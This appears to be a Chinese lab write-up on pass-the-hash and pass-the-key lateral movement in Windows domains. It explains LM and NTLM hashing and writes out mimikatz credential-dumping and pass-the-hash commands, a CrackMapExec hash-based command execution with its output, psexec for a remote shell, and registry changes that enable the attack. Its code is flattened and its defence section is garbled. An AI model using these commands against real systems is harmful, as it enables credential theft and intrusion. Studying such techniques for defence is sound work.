域渗透-横向移动(PTH)
一. Windows本地认证
基础知识
- Windows内部是不保存明文密码的,只保存密码的hash。
- 本机用户的密码hash是放在本地的SAM文件 里面,域内用户的密码hash是存在域控的NTDS.DIT文件里面。
- SAM文件位置:%SystemRoot%\system32\config\sam
- 当我们登录系统的时候,系统会自动地读取SAM文件中的“密码”与我们输入的“密码”进行对比,如果相同,则认证成功。
密码格式
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
其中AAD3B435B51404EEAAD3B435B51404EE是LM Hash而31D6CFE0D16AE931B73C59D7E0C089C0是NTLM Hash。
1.1. LM HASH
全称是:LAN Manager Hash, windows最早用的加密算法,由IBM设计。
LM Hash计算
- 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
- 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
- 再分7bit为一组,每组末尾加0,再组成一组。
- 上步骤得到的二组,分别作为key 为 “KGS!@#$%”进行DES加密。
- 将加密后的两组拼接在一起,得到最终LM HASH值。
#coding=utf-8
import re
import binascii
from pyDes import *
def DesEncrypt(str, Des_Key):
k = des(binascii.a2b_hex(Des_Key), ECB, pad=None)
EncryptStr = k.encrypt(str)
return binascii.b2a_hex(EncryptStr)def group_just(length,text):
# text 00110001001100100011001100110100001101010011011000000000
text_area = re.findall(r'.{%d}' % int(length), text) # ['0011000', '1001100', '1000110', '0110011', '0100001', '1010100', '1101100', '0000000']
text_area_padding = [i + '0' for i in text_area] #['00110000', '10011000', '10001100', '01100110', '01000010', '10101000', '11011000', '00000000']
hex_str = ''.join(text_area_padding) # 0011000010011000100011000110011001000010101010001101100000000000
hex_int = hex(int(hex_str, 2))[2:].rstrip("L") #30988c6642a8d800
if hex_int == '0':
hex_int = '0000000000000000'
return hex_intdef lm_hash(password):
# 1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
pass_hex = password.upper().encode("hex").ljust(28,'0') #3132333435360000000000000000
print(pass_hex)
# 2. 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
left_str = pass_hex[:14] #31323334353600
right_str = pass_hex[14:] #00000000000000
left_stream = bin(int(left_str, 16)).lstrip('0b').rjust(56, '0') # 00110001001100100011001100110100001101010011011000000000
right_stream = bin(int(right_str, 16)).lstrip('0b').rjust(56, '0') # 00000000000000000000000000000000000000000000000000000000
# 3. 再分7bit为一组,每组末尾加0,再组成一组
left_stream = group_just(7,left_stream) # 30988c6642a8d800
right_stream = group_just(7,right_stream) # 0000000000000000
# 4. 上步骤得到的二组,分别作为key 为 "KGS!@#$%"进行DES加密。
left_lm = DesEncrypt('KGS!@#$%',left_stream) #44efce164ab921ca
right_lm = DesEncrypt('KGS!@#$%',right_stream) # aad3b435b51404ee
# 5. 将加密后的两组拼接在一起,得到最终LM HASH值。
return left_lm + right_lmif __name__ == '__main__':
hash = lm_hash("123456")
加密算法漏洞
- 首先,密码长度最大只能为14个字符
- 密码不区分大小写。在生成哈希值之前,所有密码都将转换为大写
- 查看我们的加密过程,就可以看到使用的是分组的DES,如果密码强度是小于7位,那么第二个分组加密后的结果肯定是aad3b435b51404ee,如果我们看到lm hash的结尾是aad3b435b51404ee,就可以很轻易的发现密码强度少于7位
- 一个14个字符的密码分成7 + 7个字符,并且分别为这两个半部分计算哈希值。这种计算哈希值的方式使破解难度成倍增加,因为攻击者需要将7个字符(而不是14个字符)强制暴力破解。这使得14个字符的密码的有效强度等于,或者是7个字符的密码的两倍,该密码的复杂度明显低于14个字符的密码的理论强度。
- Des密码强度不高
1.2. NTLM HASH
为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。
系统版本对LM和NTLM的支持
2000 |
XP |
2003 |
Vista |
Win7 |
2008 |
Win8 |
2012 |
|
LM |
X |
X |
X |
|||||
NTLM |
X |
X |
X |
X |
X |
X |
X |
X |
注:X:当密码超过14位时使用的加密方式 X:系统默认使用的加密方式
从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NTLM Hash,LM Hash将不再存在。
如果空密码或者不储蓄LM Hash的话,一般抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE
(win7)这里的LM Hash并没有价值。
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: laosec:1000:aad3b435b51404eeaad3b435b51404ee:4ed9fa78b52edf56286dc7fac36d5742:::
抓取Win7 NTLM HASH
mimikatz privilege::debug sekurlsa::logonpasswords
NTML HASH计算
- 先将用户密码转换为十六进制格式。
- 将十六进制格式的密码进行Unicode编码。
- 使用MD4摘要算法对Unicode编码数据进行Hash计算。
admin -> hex(16进制编码) = 61646d696e 61646d696e -> Unicode = 610064006d0069006e00 610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634
1.3. 本地认证流程
Windows Logon Process |
即 winlogon.exe,是Windows NT 用户登陆程序,用于管理用户登录和退出。 |
LSASS |
本地安全认证子系统服务,用于微软Windows系统的安全机制。负责用户在本地验证或远程登陆时验证用户身份,管理用户密码变更,并产生访问日志。 |
整体流程
- 开机
- winlogon.exe显示输入用户名密码的图形化页面
- 用户输入用户名密码,winlogon.exe进程将输入信息交付给lsass.exe进程
- lsass.exe将密码加密为NTLM Hash,并与本地SAM数据库中的NTLM Hash进行比较
- 如果相同,则认证通过
二、Windows网络认证
2.1. 实验1:MSF进行PTH攻击
步骤一. 在已经获取的Meterpreter shell下抓取NTML HASH
步骤二. 调用psexec模块,设置好选项进行登录。
实验结果:
实验问题
1:靶机Win7
1)共享服务不允许远程访问
将注册表中LocalAccountTokenFilterPolicy
的值更改为1,如果没有该文件,直接新建一个(DWORD32位)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
2:靶机Winxp
1)连接拒绝
开启Windows XP 的445端口和Server服务
2)登陆失败
检测SMBPass
的值是否正确.依次打开本地计算机策略 - >计算机配置 - > Windows设置 - >安全设置 - >本地策略 - >安全选项
修改网络访问:本地帐户的共享和安全模式
为经典 - 本地用户身份验证
疑问解决
SMB协议是Windows网络中用来存取远程文件的通讯协议.
2.2. 实验2:Mimikatz进行PTH攻击
2.3. Pass The Hash攻击原理
验证的整个过程中缺少了一样重要的东西,也就是在故事背景中埋下过的一个小伏笔:windows本身不存储明文密码。
PTH原理
根据结果逆推:如果需要正确的response(蓝色)来通过认证,因为response本质上也是Net NTLM Hash(红色)根据公式“Net NTLM Hash = NTLM Hash(Challenge)”,我们需要正确的NTLM Hash(黄色)和Challenge(绿色)。而由于Challenge是服务端发送给,只要我们拥有正确的NTLM Hash,即可通过认证,无需明文密码!简单来说:哈希传递是能够在不需要账户明文密码的情况下完成认证的一个技术。
基于上述逆推结果,诞生了Pass The Hash(即hash传递攻击)
。
应用场景
内网渗透中获取不到明文密码、破解不了NTLM Hash而又想扩大战果横向移动。
必要条件
- 需要服务端的用户名
- 需要正确的NTLM HASH
PTH工具
- Smbmap
- CrackMapExec
- Smbexec
- Metasploit
例子:使用CrackMapExec实现Hash传递
root@kali:~/cache# cme smb 192.168.3.5 -u administrator -H dab7de8feeb5ecac65faf9fdc6cac3a9 -x whoami
SMB 192.168.3.5 445 LIYINGZHEA30B
[*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:LIYINGZHEA30B)
(domain:PAYLOADS) (signing:False) (SMBv1:True)
SMB 192.168.3.5 445 LIYINGZHEA30B
[+] PAYLOADS\administrator dab7de8feeb5ecac65faf9fdc6cac3a9
(Pwn3d!)SMB 192.168.3.5 445 LIYINGZHEA30B [+] Executed command
2.4. Pass The Key攻击
PTK是在域中攻击kerberos认证的一种方式,原理是通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的情况下用来实现类似PTH的功能。
当机器打了KB2871997
补丁之后,发现使用域管理员组内无法进行hash传递攻击,但是administrator账号(sid为500)例外;不管administrator账号怎么修改,或者新增的管理员账号,sid为500,即可进行hash传递攻击
实验要求:
- 在域环境下
- 打上了KB2871997(Win7/Wins08R2)
privilege::debug #提升权限
sekurlsa::ekeys #获取kerberos加密凭证
#使用AES-256进行Key传递攻击
sekurlsa::pth /user:administrator /domain:laosec.cn /aes256:1a39fa07e4c96606b371fe12334848efc60d8b3c4253ce6e0cb1a454c7d42083
#使用AES-128进行Key传递攻击
sekurlsa::pth /user:administrator /laosec.cn /aes128:4728551c859bbe351e9c11b5d959163e
#使用机器名来尽心测试访问
dir \\DC\c$
#使用psexec获取目标主机shell
psexec64 \\hostname cmd.exe
2.7. KB2871997补丁
KB2871997 的补丁并没有多大的用处,由于在 Windows Vista 时代,微软就通过将LocalAccountTokenFilterPolicy值默认设置为 0 来禁止非administrator账号的远程连接(包括哈希传递攻击),但是administrator用户不受影响。即使目标主机更新了KB2871997的补丁,仍然可以使用SID=500的用户进行哈希传递攻击,而 SID=500 的用户默认为administrator,所以仍然可以使用administrator用户进行哈希传递攻击。并且在打了KB2871997 补丁的机器上,通过将LocalAccountTokenFilterPolicy设置为1,也还是可以使用普通管理员账号进行哈希传递攻击。
实验
系统环境 |
域管理员账号 |
IP地址 |
Windows server 2008R2域环境 |
administrator |
192.168.1.131 |
步骤一:未打 KB2871997 补丁前,使用 administrator 账号可以成功进行哈希传递攻击。
步骤二:打上 KB2871997 补丁后,使用 administrator 账号依然可以成功进行哈希传递攻击。
步骤三:gpedit.msc
开启本地组策略编辑器修改用户名,在将 administrator 账号重命名为 admin 账号后,还是可以使用 admin 账号紧进行哈希传递攻击,因为 admin 账号的SID值为 500。
防御手段
- 禁用默认的administrator账号防御手段防御手段
域渗透-横向移动(PTH)相关推荐
- 域渗透-横向移动(PTT)
一:Kerberos域认证简述 Kerberos是一种认证机制.目的是通过密钥系统为客户端/服务器应用程序提供强大的可信任的第三方认证服务:保护服务器防止错误的用户使用,同时保护它的用户使用正确的服务 ...
- 《内网安全攻防:渗透测试实战指南》读书笔记(五):域内横向移动分析及防御
目录 前言 一.常用Windows远程连接和命令 1.IPC (1)利用条件 (2)连接失败的原因 2.Windows自带工具 (1)dir (2)tasklist 3.计划任务 (1)at (2)s ...
- scaner 从外网到内网域渗透
scaner 从外网到内网域渗透 本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精:本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿 ...
- 第5章域内横向移动分析及防御
目录 第5章域内横向移动分析及防御 5.1 常用Windows远程连接和相关命令 5.1.1 IPC 5.1.2使用Windows自带的工具获取远程主机信息 5.1.3计划任务 5.2Windows系 ...
- 从Github一开源项目ADSEC【学习域渗透攻防基础】
学习的开源项目是: https://github.com/cfalta/adsec 有些地方是直接Google 翻译过来的. 注意:本人域渗透新手,很多问题都不懂,有问题欢迎大哥后台留言啊!!! La ...
- 红队技巧-域渗透的协议利用
1.pth(hash传递) 1.1 PTH简介 哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统,攻击者无须 ...
- 域渗透——Pass The Hash Pass The Key
三好学生 · 2015/12/28 10:15 0x00 前言 对于Pass The Hash大家应该都很熟悉,在2014年5月发生了一件有趣的事. 微软在2014年5月13日发布了针对Pass Th ...
- AD域渗透 | PTHPTK哈希传递攻击手法
AD域渗透的第二篇,托更一下Kerberos协议的分析文章,等到攻击手法研究明白了,再把协议分析放上来,防止像那些理解不明不白的人写的东西一样祸害人. 发生情况 在高版本的windows server ...
- 《域渗透攻防指南》签名版预售来啦
千呼万唤始出来!终于,在广大粉丝翘首期盼下,国内首本专门讲述域内攻防的书籍<域渗透攻防指南>在2022年最后一个月和大家见面了.为了回馈粉丝的等待,让粉丝早日拿到心仪的书,特此联合机械工业 ...
- 域渗透基础之NTLM认证协议
域渗透基础的两个认证协议ntlm和Kerberos协议是必须总结的~ 这篇简单总结下ntlm协议 晚上写下kerberos 0x01 NTLM简介 NTLM使用在Windows NT和Windows ...
最新文章
- 黑客进阶必读书《Linux命令行与Shell脚本编程大全》(第2版)
- SGU101 求有重边的无向图欧拉迹
- Java集合总结大全--史上最强
- c语言冒泡例子,C语言排序实例(选择、冒泡、插入、折半、快速)
- GPS(北斗)拓展无线同步模块GSYN1000系列在电力、大坝、隧道、核电、密闭厂房的应用方案...
- 01.学习笔记-linux操作系统常用命令
- 基于MHSS的ARAIM算法的详细分析解释
- 树莓派基础实验38:逻辑分析仪分析PWM、UART信号
- 重装显卡驱动,解决NVIDIA-SMI has failed问题
- Mac电脑DisplayPort/HDMI连接显示器后没声音
- Java 微服务架构
- 无需公网IP,免费内网穿透【cpolar】访问内网服务
- Mac电脑声音无法正常播放怎么解决
- 程序员提升逼格技巧汇总
- tx2板子安torch、opencv以及安装环境技巧
- 深圳软件测试培训:瓶颈分析方法
- c#被指定为此窗体的 MdiParent 的窗体不是 MdiContainer
- nsi学习之HelloWorld
- 哈工大大数据实验_哈工大男女比例位居榜首!哈工大、东北林大、哈师大......百所高校2020新生数据大揭秘!这所大学女生数量全国第一?...
- 全网完整版Python学习路线图(超详细适合零基础自学)
热门文章
- MiCT: Mixed 3D/2D Convolutional Tube for Human Action Recognition论文笔记
- 关于c#实现影音嗅探的问题(转)
- 数据库系统--期末复习
- IT从业者创业公司生存指南:创业中期 ---- 先帝创业未半而中道崩殂,今天下三分,益州疲弊,此诚危急存亡之秋也。
- KGB知识图谱通过数据可视化提升金融行业分析能力
- 单个html页面面包屑,充分利用网页设计中的面包屑
- c语言rc,RC低通滤波器中R和C参数选择
- EasyBoot中文启动光盘制作教程
- 免费企业邮箱: Google企业邮箱的申请
- h2o java,H2O AutoML入门开发简介